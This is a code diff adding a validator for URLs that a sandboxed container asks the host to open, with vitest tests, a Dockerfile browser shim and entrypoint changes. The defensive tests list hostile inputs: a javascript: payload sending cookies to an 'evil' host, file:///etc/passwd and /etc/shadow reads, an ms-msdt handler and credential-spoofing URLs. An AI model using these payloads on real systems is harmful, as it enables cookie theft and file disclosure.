it("rejects quote characters, which the OS opener may treat as syntax", () => {
|
||||
expect(embeddedSanitize('https://example.com/a"b')).toBeNull();
|
||||
expect(embeddedSanitize("https://example.com/a`b")).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,323 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import {
|
||||
ANTHROPIC_SIGN_IN_HOSTS,
|
||||
MAX_RELAY_URL_LENGTH,
|
||||
RelayRateLimiter,
|
||||
URL_RELAY_OSC,
|
||||
parseUrlRelayOsc,
|
||||
sanitizeRelayUrl,
|
||||
urlOrigin,
|
||||
} from "./urlRelay";
|
||||
|
||||
/** Build the OSC 7777 payload the container shim emits for `url`. */
|
||||
function payloadFor(url: string): string {
|
||||
const bytes = new TextEncoder().encode(url);
|
||||
let binary = "";
|
||||
for (const b of bytes) binary += String.fromCharCode(b);
|
||||
return `open;${btoa(binary)}`;
|
||||
}
|
||||
|
||||
describe("URL_RELAY_OSC", () => {
|
||||
it("is the private identifier the container shim writes", () => {
|
||||
expect(URL_RELAY_OSC).toBe(7777);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — accepts", () => {
|
||||
it("plain https URLs", () => {
|
||||
expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
|
||||
"https://github.com/login/device",
|
||||
);
|
||||
});
|
||||
|
||||
it("plain http URLs", () => {
|
||||
expect(sanitizeRelayUrl("http://example.com/")).toBe("http://example.com/");
|
||||
});
|
||||
|
||||
it("long OAuth URLs with query strings", () => {
|
||||
const url =
|
||||
"https://d-1234567890.awsapps.com/start/#/device?user_code=ABCD-EFGH&state=" +
|
||||
"x".repeat(200);
|
||||
expect(sanitizeRelayUrl(url)).toBe(url);
|
||||
});
|
||||
|
||||
it("loopback callback URLs (the CLI, not the host, chose the port)", () => {
|
||||
expect(sanitizeRelayUrl("http://127.0.0.1:8123/callback?code=abc")).toBe(
|
||||
"http://127.0.0.1:8123/callback?code=abc",
|
||||
);
|
||||
});
|
||||
|
||||
it("trims surrounding whitespace before validating", () => {
|
||||
expect(sanitizeRelayUrl(" https://example.com/x ")).toBe(
|
||||
"https://example.com/x",
|
||||
);
|
||||
});
|
||||
|
||||
it("normalizes so the toast shows exactly what will be opened", () => {
|
||||
expect(sanitizeRelayUrl("https://EXAMPLE.com")).toBe("https://example.com/");
|
||||
});
|
||||
|
||||
it("keeps hyphens and other legal URL punctuation", () => {
|
||||
const url = "https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k";
|
||||
expect(sanitizeRelayUrl(url)).toBe(url);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — rejects non-http(s) schemes", () => {
|
||||
// The whole point of the allowlist: the container must not be able to make
|
||||
// the host open a scheme that reaches local files, script, or an OS handler.
|
||||
it.each([
|
||||
["javascript:", "javascript:alert(1)"],
|
||||
["javascript: with payload", "javascript:fetch('http://evil/'+document.cookie)"],
|
||||
["file: absolute path", "file:///etc/passwd"],
|
||||
["file: host share", "file://host/share/secret"],
|
||||
["data:", "data:text/html,<script>alert(1)</script>"],
|
||||
["vbscript:", "vbscript:msgbox(1)"],
|
||||
["blob:", "blob:https://example.com/uuid"],
|
||||
["ftp:", "ftp://example.com/x"],
|
||||
["ssh:", "ssh://root@example.com"],
|
||||
["mailto:", "mailto:someone@example.com"],
|
||||
["ms-msdt: (protocol handler)", "ms-msdt:/id PCWDiagnostic"],
|
||||
["smb:", "smb://server/share"],
|
||||
["custom app handler", "slack://open?team=T123"],
|
||||
["chrome:", "chrome://settings"],
|
||||
["about:", "about:blank"],
|
||||
])("rejects %s", (_label, url) => {
|
||||
expect(sanitizeRelayUrl(url)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects case-variant javascript:", () => {
|
||||
expect(sanitizeRelayUrl("JaVaScRiPt:alert(1)")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects a scheme smuggled past a naive check with an embedded newline", () => {
|
||||
// `new URL()` strips tabs and newlines, so "java\nscript:" would parse as
|
||||
// a javascript: URL. The pre-parse control-character check stops it.
|
||||
expect(sanitizeRelayUrl("java\nscript:alert(1)")).toBeNull();
|
||||
expect(sanitizeRelayUrl("java\tscript:alert(1)")).toBeNull();
|
||||
expect(sanitizeRelayUrl("\x00javascript:alert(1)")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — rejects malformed and hostile input", () => {
|
||||
it("rejects non-strings", () => {
|
||||
expect(sanitizeRelayUrl(undefined)).toBeNull();
|
||||
expect(sanitizeRelayUrl(null)).toBeNull();
|
||||
expect(sanitizeRelayUrl(42)).toBeNull();
|
||||
expect(sanitizeRelayUrl({ href: "https://example.com" })).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects the empty string", () => {
|
||||
expect(sanitizeRelayUrl("")).toBeNull();
|
||||
expect(sanitizeRelayUrl(" ")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects scheme-less input", () => {
|
||||
expect(sanitizeRelayUrl("example.com")).toBeNull();
|
||||
expect(sanitizeRelayUrl("//example.com")).toBeNull();
|
||||
expect(sanitizeRelayUrl("/etc/passwd")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects http(s) URLs with no host", () => {
|
||||
expect(sanitizeRelayUrl("http://")).toBeNull();
|
||||
});
|
||||
|
||||
it("does not let an extra slash turn an https URL into a local path", () => {
|
||||
// WHATWG parsing treats the third slash as part of the authority, so this
|
||||
// stays a network URL to the (unresolvable) host "etc" — it never becomes
|
||||
// a read of /etc/passwd.
|
||||
expect(sanitizeRelayUrl("https:///etc/passwd")).toBe("https://etc/passwd");
|
||||
});
|
||||
|
||||
it("rejects embedded credentials (origin spoofing)", () => {
|
||||
expect(
|
||||
sanitizeRelayUrl("https://github.com@evil.example.com/login"),
|
||||
).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://user:pass@example.com/")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects control characters and whitespace inside the URL", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/\x1b]0;pwned\x07")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a b")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a\r\nb")).toBeNull();
|
||||
});
|
||||
|
||||
it("tolerates a trailing newline from the shim's printf", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/x\n")).toBe(
|
||||
"https://example.com/x",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects oversized URLs", () => {
|
||||
const huge = "https://example.com/" + "a".repeat(MAX_RELAY_URL_LENGTH);
|
||||
expect(huge.length).toBeGreaterThan(MAX_RELAY_URL_LENGTH);
|
||||
expect(sanitizeRelayUrl(huge)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — quote characters", () => {
|
||||
// Latent today, because the only path that would exploit it is behind a
|
||||
// feature flag. Latent is not the same as absent: the character class is the
|
||||
// thing standing between a container-supplied string and an OS opener that
|
||||
// on Windows has historically been reached through a command interpreter.
|
||||
it("rejects a double quote", () => {
|
||||
expect(sanitizeRelayUrl('https://example.com/a"b')).toBeNull();
|
||||
expect(sanitizeRelayUrl('https://example.com/?q="&x=1')).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects a single quote and a backtick", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/a'b")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a`b")).toBeNull();
|
||||
});
|
||||
|
||||
it("still accepts the percent-encoded forms", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/a%22b")).toBe(
|
||||
"https://example.com/a%22b",
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects C1 controls and exotic whitespace new URL() would keep", () => {
|
||||
expect(sanitizeRelayUrl("https://example.com/a\u0085b")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a\u00a0b")).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://example.com/a\u3000b")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("sanitizeRelayUrl — host allowlist", () => {
|
||||
const opts = { allowHosts: ANTHROPIC_SIGN_IN_HOSTS };
|
||||
|
||||
it("accepts the domain itself and its subdomains", () => {
|
||||
expect(sanitizeRelayUrl("https://claude.ai/oauth/authorize", opts)).toBe(
|
||||
"https://claude.ai/oauth/authorize",
|
||||
);
|
||||
expect(
|
||||
sanitizeRelayUrl("https://platform.claude.com/oauth/code/callback", opts),
|
||||
).toBe("https://platform.claude.com/oauth/code/callback");
|
||||
});
|
||||
|
||||
it("rejects a lookalike that merely contains the domain", () => {
|
||||
expect(sanitizeRelayUrl("https://claude.ai.evil.tld/oauth", opts)).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://notclaude.ai/oauth", opts)).toBeNull();
|
||||
expect(sanitizeRelayUrl("https://evil.tld/claude.ai/oauth", opts)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects the userinfo spoof even though it reads as an allowed host", () => {
|
||||
expect(
|
||||
sanitizeRelayUrl("https://claude.ai@evil.tld/oauth/authorize", opts),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("is case-insensitive about the host", () => {
|
||||
expect(sanitizeRelayUrl("https://CLAUDE.AI/oauth", opts)).toBe(
|
||||
"https://claude.ai/oauth",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows any host when no allowlist is given — the relay's whole point", () => {
|
||||
expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
|
||||
"https://github.com/login/device",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("urlOrigin", () => {
|
||||
it("returns the part that decides where credentials go", () => {
|
||||
expect(urlOrigin("https://claude.ai/oauth/authorize?code=true")).toBe(
|
||||
"https://claude.ai",
|
||||
);
|
||||
expect(urlOrigin("http://127.0.0.1:41703/callback")).toBe(
|
||||
"http://127.0.0.1:41703",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns null rather than guessing at unparseable input", () => {
|
||||
expect(urlOrigin("not a url")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("parseUrlRelayOsc", () => {
|
||||
it("decodes the sequence the container shim emits", () => {
|
||||
const url = "https://github.com/login/device";
|
||||
expect(parseUrlRelayOsc(payloadFor(url))).toBe(url);
|
||||
});
|
||||
|
||||
it("round-trips non-ASCII URLs through UTF-8", () => {
|
||||
const url = "https://example.com/café";
|
||||
// WHATWG normalization percent-encodes the path.
|
||||
expect(parseUrlRelayOsc(payloadFor(url))).toBe(
|
||||
"https://example.com/caf%C3%A9",
|
||||
);
|
||||
});
|
||||
|
||||
it("applies the scheme allowlist to the decoded payload", () => {
|
||||
expect(parseUrlRelayOsc(payloadFor("javascript:alert(1)"))).toBeNull();
|
||||
expect(parseUrlRelayOsc(payloadFor("file:///etc/shadow"))).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an unknown verb", () => {
|
||||
const body = payloadFor("https://example.com/").split(";")[1];
|
||||
expect(parseUrlRelayOsc(`exec;${body}`)).toBeNull();
|
||||
expect(parseUrlRelayOsc(`;${body}`)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects payloads with no separator", () => {
|
||||
expect(parseUrlRelayOsc("open")).toBeNull();
|
||||
expect(parseUrlRelayOsc("")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an empty body", () => {
|
||||
expect(parseUrlRelayOsc("open;")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects non-base64 bodies without throwing", () => {
|
||||
expect(parseUrlRelayOsc("open;!!!not base64!!!")).toBeNull();
|
||||
expect(parseUrlRelayOsc("open;https://example.com")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects a body that decodes to invalid UTF-8", () => {
|
||||
expect(parseUrlRelayOsc(`open;${btoa("\xff\xfe")}`)).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects an absurdly large body before decoding", () => {
|
||||
expect(parseUrlRelayOsc(`open;${"A".repeat(MAX_RELAY_URL_LENGTH * 2 + 4)}`))
|
||||
.toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("RelayRateLimiter", () => {
|
||||
it("allows the first request", () => {
|
||||
const rl = new RelayRateLimiter();
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
});
|
||||
|
||||
it("suppresses a repeat of the same URL inside the dedupe window", () => {
|
||||
const rl = new RelayRateLimiter(5, 10_000, 5_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://a.example/", 1_000)).toBe(false);
|
||||
expect(rl.allow("https://a.example/", 4_999)).toBe(false);
|
||||
});
|
||||
|
||||
it("allows the same URL again after the dedupe window", () => {
|
||||
const rl = new RelayRateLimiter(5, 10_000, 5_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
// Repeats keep pushing the dedupe deadline out; measure from the last one.
|
||||
expect(rl.allow("https://a.example/", 6_000)).toBe(true);
|
||||
});
|
||||
|
||||
it("caps the number of distinct prompts in the sliding window", () => {
|
||||
const rl = new RelayRateLimiter(3, 10_000, 1_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://b.example/", 1_500)).toBe(true);
|
||||
expect(rl.allow("https://c.example/", 3_000)).toBe(true);
|
||||
expect(rl.allow("https://d.example/", 4_500)).toBe(false);
|
||||
expect(rl.allow("https://e.example/", 6_000)).toBe(false);
|
||||
});
|
||||
|
||||
it("recovers once the window slides past the old requests", () => {
|
||||
const rl = new RelayRateLimiter(2, 10_000, 1_000);
|
||||
expect(rl.allow("https://a.example/", 0)).toBe(true);
|
||||
expect(rl.allow("https://b.example/", 100)).toBe(true);
|
||||
expect(rl.allow("https://c.example/", 200)).toBe(false);
|
||||
expect(rl.allow("https://c.example/", 10_200)).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,254 @@
|
||||
/**
|
||||
* URL relay — host side of `container/triple-c-open` — and the single URL
|
||||
* validator every `openUrl` call site in the app is required to go through.
|
||||
*
|
||||
* A CLI inside the container has no browser. When it wants to open a URL
|
||||
* (`gh auth login`, `aws sso login`, `gcloud auth login`, anything honouring
|
||||
* `$BROWSER` or shelling out to `xdg-open`), the container-side shim writes
|
||||
*
|
||||
* ESC ] 7777 ; open ; <base64(url)> BEL
|
||||
*
|
||||
* to its controlling terminal. xterm.js routes that to an OSC 7777 handler,
|
||||
* which lands here.
|
||||
*
|
||||
* THE CONTAINER IS THE UNTRUSTED SIDE OF THIS BOUNDARY. Everything arriving
|
||||
* over the relay is attacker-controlled if the sandboxed agent misbehaves, so
|
||||
* this module is a validator first and a convenience second:
|
||||
*
|
||||
* - only `http:` and `https:` survive — `file:`, `javascript:`, `data:` and
|
||||
* every custom/registered URI handler are rejected. A container able to
|
||||
* make the host open arbitrary schemes could reach local files, in-page
|
||||
* script, or any protocol handler the OS has registered, which is a real
|
||||
* escalation out of the sandbox.
|
||||
* - embedded credentials (`https://user:pass@host`) are rejected: they are a
|
||||
* display-spoofing vector in the confirmation toast and in the address bar.
|
||||
* - control characters, whitespace and oversized payloads are rejected before
|
||||
* parsing, so the relay can't be used to smuggle escape sequences or to
|
||||
* push a megabyte of text into the UI.
|
||||
* - the URL is returned in WHATWG-normalized form, so what the user is shown
|
||||
* in the toast is exactly what gets opened.
|
||||
*
|
||||
* Opening is never automatic — see `RelayRateLimiter` and the confirmation
|
||||
* toast in TerminalView.
|
||||
*
|
||||
* The relay is not the only route from the container to the host's browser.
|
||||
* The heuristic long-URL detector (`urlDetector.ts`) and the `claude
|
||||
* setup-token` sign-in link (`useClaudeAuth.ts`) both scrape the same
|
||||
* untrusted PTY byte stream, so they use this validator too — with an added
|
||||
* host allowlist in the sign-in case, where exactly one origin is legitimate.
|
||||
* Keep this the only implementation: a second copy is a second place for a
|
||||
* rule to go missing.
|
||||
*
|
||||
* `web_terminal/terminal.html` is the one unavoidable duplicate — it is
|
||||
* embedded standalone via `include_str!()` and cannot import this module.
|
||||
* `urlRelay.embedded.test.ts` extracts that copy and runs it against the same
|
||||
* table of cases, so the two cannot drift silently.
|
||||
*/
|
||||
|
||||
/** Private OSC identifier used by the relay. Chosen to avoid the numbers in
|
||||
* common use (0-19, 22, 52, 104, 110-119, 133, 777, 1337). */
|
||||
export const URL_RELAY_OSC = 7777;
|
||||
|
||||
/** Hard cap on a relayed URL. Real OAuth URLs run to a few hundred chars. */
|
||||
export const MAX_RELAY_URL_LENGTH = 8192;
|
||||
|
||||
/**
|
||||
* Whether `candidate` contains a character that disqualifies it before it is
|
||||
* ever parsed.
|
||||
*
|
||||
* Whitespace and C0/DEL matter most: `new URL()` silently *strips* tab, LF and
|
||||
* CR, so `"java\nscript:alert(1)"` would otherwise parse as a `javascript:`
|
||||
* URL. Quote characters are rejected on top of that: `"`, `'` and a backtick
|
||||
* are all illegal in a URL per RFC 3986, and this string ends up as an
|
||||
* argument to an OS-level opener — a path that on Windows has historically
|
||||
* run through a command interpreter, where a quote ends the argument and
|
||||
* whatever follows is the next command. Nothing legitimate loses out; a URL
|
||||
* that really needs one carries it percent-encoded.
|
||||
*
|
||||
* Written as a scan rather than a regex literal so the C0 range is expressed
|
||||
* as code points and cannot be quietly mangled by an editing tool.
|
||||
*/
|
||||
function hasForbiddenChar(candidate: string): boolean {
|
||||
for (const ch of candidate) {
|
||||
const code = ch.codePointAt(0) ?? 0;
|
||||
// C0 controls, space, and DEL.
|
||||
if (code <= 0x20 || code === 0x7f) return true;
|
||||
// C1 controls — not stripped by `new URL()`, invisible in the toast.
|
||||
if (code >= 0x80 && code <= 0x9f) return true;
|
||||
if (ch === '"' || ch === "'" || ch === "`") return true;
|
||||
// Any other Unicode whitespace (NBSP, ideographic space, ...).
|
||||
if (ch.trim() === "") return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Registrable domains the Anthropic sign-in flow may send the user to.
|
||||
*
|
||||
* `claude setup-token` prints a `claude.ai` authorize URL and redirects to
|
||||
* `platform.claude.com`; `anthropic.com` covers the console. Anything else in
|
||||
* the transcript is not a sign-in link, whatever it claims.
|
||||
*/
|
||||
export const ANTHROPIC_SIGN_IN_HOSTS = [
|
||||
"claude.ai",
|
||||
"claude.com",
|
||||
"anthropic.com",
|
||||
] as const;
|
||||
|
||||
export interface SanitizeUrlOptions {
|
||||
/**
|
||||
* Registrable domains the URL's host must match — either exactly, or as a
|
||||
* subdomain (`platform.claude.com` matches `claude.com`). Omit to allow any
|
||||
* host: the relay deliberately does, because opening a third-party OAuth
|
||||
* page is the entire point of it.
|
||||
*/
|
||||
allowHosts?: readonly string[];
|
||||
}
|
||||
|
||||
/** True when `host` is `domain` itself or a subdomain of it. */
|
||||
function hostMatches(host: string, domain: string): boolean {
|
||||
return host === domain || host.endsWith(`.${domain}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a URL that something untrusted asked the host to open.
|
||||
*
|
||||
* @returns the normalized URL, or `null` if it must not be opened.
|
||||
*/
|
||||
export function sanitizeRelayUrl(
|
||||
raw: unknown,
|
||||
options: SanitizeUrlOptions = {},
|
||||
): string | null {
|
||||
if (typeof raw !== "string") return null;
|
||||
|
||||
const candidate = raw.trim();
|
||||
if (candidate.length === 0) return null;
|
||||
if (candidate.length > MAX_RELAY_URL_LENGTH) return null;
|
||||
|
||||
if (hasForbiddenChar(candidate)) return null;
|
||||
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(candidate);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Scheme allowlist. Nothing else, ever.
|
||||
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
|
||||
|
||||
// A special-scheme URL with no host is nonsense and, on some platforms,
|
||||
// resolves in surprising ways.
|
||||
if (parsed.hostname === "") return null;
|
||||
|
||||
// Embedded credentials spoof the displayed origin: `https://claude.ai@evil.tld/x`
|
||||
// reads as claude.ai in anything that truncates, and navigates to evil.tld.
|
||||
if (parsed.username !== "" || parsed.password !== "") return null;
|
||||
|
||||
if (options.allowHosts) {
|
||||
const host = parsed.hostname.toLowerCase();
|
||||
if (!options.allowHosts.some((domain) => hostMatches(host, domain))) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
const normalized = parsed.toString();
|
||||
if (normalized.length > MAX_RELAY_URL_LENGTH) return null;
|
||||
|
||||
return normalized;
|
||||
}
|
||||
|
||||
/**
|
||||
* The origin of an already-sanitized URL, for display.
|
||||
*
|
||||
* The origin is the only part of a URL that decides where the user's
|
||||
* credentials end up, so it is the one part an ellipsis must never eat. Every
|
||||
* place that shows a URL the user is about to open shows this separately, at
|
||||
* full length, next to the truncatable remainder.
|
||||
*
|
||||
* Returns `null` for input that does not parse — callers pass
|
||||
* {@link sanitizeRelayUrl} output, so that would be a bug rather than an
|
||||
* attack.
|
||||
*/
|
||||
export function urlOrigin(url: string): string | null {
|
||||
try {
|
||||
return new URL(url).origin;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse the payload of an OSC 7777 sequence (everything between `ESC]7777;`
|
||||
* and the terminator).
|
||||
*
|
||||
* Expected shape: `open;<base64(url)>`. The URL is base64-encoded so that a
|
||||
* `;`, a BEL or an ESC inside it cannot break out of the sequence.
|
||||
*
|
||||
* @returns the validated URL, or `null` if the payload is malformed or the
|
||||
* URL fails {@link sanitizeRelayUrl}.
|
||||
*/
|
||||
export function parseUrlRelayOsc(data: string): string | null {
|
||||
if (typeof data !== "string") return null;
|
||||
|
||||
const sep = data.indexOf(";");
|
||||
if (sep === -1) return null;
|
||||
|
||||
const verb = data.slice(0, sep);
|
||||
if (verb !== "open") return null;
|
||||
|
||||
const payload = data.slice(sep + 1);
|
||||
if (payload.length === 0) return null;
|
||||
// base64 of the length cap, plus slack for padding.
|
||||
if (payload.length > MAX_RELAY_URL_LENGTH * 2) return null;
|
||||
if (!/^[A-Za-z0-9+/]+=*$/.test(payload)) return null;
|
||||
|
||||
let decoded: string;
|
||||
try {
|
||||
const binary = atob(payload);
|
||||
const bytes = Uint8Array.from(binary, (c) => c.charCodeAt(0));
|
||||
decoded = new TextDecoder("utf-8", { fatal: true }).decode(bytes);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
return sanitizeRelayUrl(decoded);
|
||||
}
|
||||
|
||||
/**
|
||||
* Throttles relay requests so a runaway (or hostile) process in the container
|
||||
* can't bury the UI in prompts.
|
||||
*
|
||||
* Two limits: a sliding window on total requests, and a short dedup window so
|
||||
* a retry loop around a single URL produces one prompt rather than twenty.
|
||||
*/
|
||||
export class RelayRateLimiter {
|
||||
private readonly maxInWindow: number;
|
||||
private readonly windowMs: number;
|
||||
private readonly dedupeMs: number;
|
||||
private timestamps: number[] = [];
|
||||
private lastUrl: string | null = null;
|
||||
private lastUrlAt = 0;
|
||||
|
||||
constructor(maxInWindow = 5, windowMs = 10_000, dedupeMs = 5_000) {
|
||||
this.maxInWindow = maxInWindow;
|
||||
this.windowMs = windowMs;
|
||||
this.dedupeMs = dedupeMs;
|
||||
}
|
||||
|
||||
/** @returns true if this request should be surfaced to the user. */
|
||||
allow(url: string, now: number = Date.now()): boolean {
|
||||
if (url === this.lastUrl && now - this.lastUrlAt < this.dedupeMs) {
|
||||
this.lastUrlAt = now;
|
||||
return false;
|
||||
}
|
||||
|
||||
this.timestamps = this.timestamps.filter((t) => now - t < this.windowMs);
|
||||
if (this.timestamps.length >= this.maxInWindow) return false;
|
||||
|
||||
this.timestamps.push(now);
|
||||
this.lastUrl = url;
|
||||
this.lastUrlAt = now;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -162,6 +162,57 @@ RUN chmod +x /usr/local/bin/audio-shim \
|
||||
&& ln -sf /usr/local/bin/audio-shim /usr/local/bin/rec \
|
||||
&& ln -sf /usr/local/bin/audio-shim /usr/local/bin/arecord
|
||||
|
||||
# ── URL relay shim (host browser) ───────────────────────────────────────────
|
||||
# Container-side stand-in for a browser. Emits an OSC 7777 escape sequence that
|
||||
# Triple-C's terminal front-end intercepts and turns into a host-browser open.
|
||||
# Installed under every name a CLI conventionally consults, plus $BROWSER.
|
||||
#
|
||||
# What Ubuntu 24.04's base actually ships (verified, not assumed):
|
||||
# sensible-browser PRESENT (/usr/bin/sensible-browser, from sensible-utils)
|
||||
# xdg-open absent (xdg-utils is not installed)
|
||||
# www-browser absent (no update-alternatives entry)
|
||||
# x-www-browser absent (no update-alternatives entry)
|
||||
# gnome-open / gvfs-open / kde-open / open absent
|
||||
#
|
||||
# So the three names that need real handling, not just a symlink:
|
||||
# * sensible-browser is a dpkg-owned file. A /usr/local/bin symlink would
|
||||
# only shadow it for PATH lookups, leaving absolute-path callers on the
|
||||
# stock script — so it is dpkg-diverted and replaced. (The stock script
|
||||
# does defer to $BROWSER, but only when $BROWSER is set; diverting makes
|
||||
# the behaviour unconditional and survives package upgrades.)
|
||||
# * www-browser / x-www-browser are update-alternatives names, so they are
|
||||
# registered as alternatives rather than hand-symlinked. This matters:
|
||||
# sensible-browser probes /usr/bin/x-www-browser by absolute path, which
|
||||
# only exists if something registered the alternative. `--set` pins them
|
||||
# to manual mode so a later `apt install firefox` cannot steal them and
|
||||
# point the container at a browser it has no display to run.
|
||||
# * xdg-open is diverted pre-emptively so that if someone later installs
|
||||
# xdg-utils inside the container, dpkg unpacks to xdg-open.distrib and
|
||||
# our relay keeps /usr/bin/xdg-open.
|
||||
COPY triple-c-open /usr/local/bin/triple-c-open
|
||||
RUN chmod +x /usr/local/bin/triple-c-open \
|
||||
&& for name in xdg-open sensible-browser gnome-open gvfs-open kde-open open; do \
|
||||
ln -sf /usr/local/bin/triple-c-open "/usr/local/bin/$name"; \
|
||||
done \
|
||||
&& dpkg-divert --local --rename --divert /usr/bin/sensible-browser.distrib \
|
||||
--add /usr/bin/sensible-browser \
|
||||
&& ln -sf /usr/local/bin/triple-c-open /usr/bin/sensible-browser \
|
||||
&& dpkg-divert --local --rename --divert /usr/bin/xdg-open.distrib \
|
||||
--add /usr/bin/xdg-open \
|
||||
&& ln -sf /usr/local/bin/triple-c-open /usr/bin/xdg-open \
|
||||
&& update-alternatives --install /usr/bin/x-www-browser x-www-browser \
|
||||
/usr/local/bin/triple-c-open 200 \
|
||||
&& update-alternatives --set x-www-browser /usr/local/bin/triple-c-open \
|
||||
&& update-alternatives --install /usr/bin/www-browser www-browser \
|
||||
/usr/local/bin/triple-c-open 200 \
|
||||
&& update-alternatives --set www-browser /usr/local/bin/triple-c-open
|
||||
|
||||
# $BROWSER must be an image-level ENV, not just an entrypoint export: terminal
|
||||
# sessions are separate `docker exec`s, which inherit the container's config
|
||||
# env and see nothing the entrypoint exported into its own process. The
|
||||
# entrypoint additionally forwards it into the cron environment file.
|
||||
ENV BROWSER=/usr/local/bin/triple-c-open
|
||||
|
||||
COPY triple-c-sso-refresh /usr/local/bin/triple-c-sso-refresh
|
||||
RUN chmod +x /usr/local/bin/triple-c-sso-refresh
|
||||
|
||||
|
||||
+23
-1
@@ -2,6 +2,16 @@
|
||||
# NOTE: set -e is intentionally omitted. A failing usermod/groupmod must not
|
||||
# kill the entire entrypoint — SSH setup, git config, and the final exec
|
||||
# must still run so the container is usable even if remapping fails.
|
||||
#
|
||||
# NOTE: /home/claude is the mount point of the named volume
|
||||
# triple-c-home-{projectId}, so the *image's* copy of that directory is
|
||||
# seed-only: after a project's first start it is masked permanently. Anything
|
||||
# this script writes under /home/claude on **every** start does reach existing
|
||||
# projects (that is why the CLAUDE.md, git config and Mission Control skill
|
||||
# copies are written here rather than baked into the image). Anything added to
|
||||
# /home/claude in the Dockerfile reaches new projects only, forever. Put
|
||||
# upgradable content in /usr/local/bin or /opt, or seed it from here.
|
||||
# See "Container Lifecycle" in the repo's CLAUDE.md.
|
||||
|
||||
# ── UID/GID remapping ──────────────────────────────────────────────────────
|
||||
# Match the container's claude user to the host user's UID/GID so that
|
||||
@@ -242,6 +252,18 @@ if [ -n "${TZ:-}" ]; then
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Browser / URL relay ──────────────────────────────────────────────────────
|
||||
# Tools that open a browser (gh, aws sso login, gcloud, python webbrowser, ...)
|
||||
# consult $BROWSER first. Point it at the relay shim, which forwards the URL to
|
||||
# the host's browser over the terminal. The image already sets this as an ENV —
|
||||
# that is what `docker exec` terminal sessions inherit — but exporting it here
|
||||
# means the entrypoint's own children see it too, and (below) that it is
|
||||
# captured into the cron environment file for scheduled tasks. Under cron there
|
||||
# is no terminal, so the shim degrades to printing the URL into the task log.
|
||||
if [ -x /usr/local/bin/triple-c-open ]; then
|
||||
export BROWSER=/usr/local/bin/triple-c-open
|
||||
fi
|
||||
|
||||
# ── Scheduler setup ─────────────────────────────────────────────────────────
|
||||
SCHEDULER_DIR="/home/claude/.claude/scheduler"
|
||||
mkdir -p "$SCHEDULER_DIR/tasks" "$SCHEDULER_DIR/logs" "$SCHEDULER_DIR/notifications"
|
||||
@@ -255,7 +277,7 @@ ENV_FILE="$SCHEDULER_DIR/.env"
|
||||
: > "$ENV_FILE"
|
||||
env | while IFS='=' read -r key value; do
|
||||
case "$key" in
|
||||
ANTHROPIC_*|AWS_*|CLAUDE_CODE_*|TRIPLE_C_PERMISSION_MODE|PATH|HOME|LANG|TZ|COLORTERM)
|
||||
ANTHROPIC_*|AWS_*|CLAUDE_CODE_*|TRIPLE_C_PERMISSION_MODE|PATH|HOME|LANG|TZ|COLORTERM|BROWSER)
|
||||
# Escape single quotes in value and write as KEY='VALUE'
|
||||
escaped_value=$(printf '%s' "$value" | sed "s/'/'\\\\''/g")
|
||||
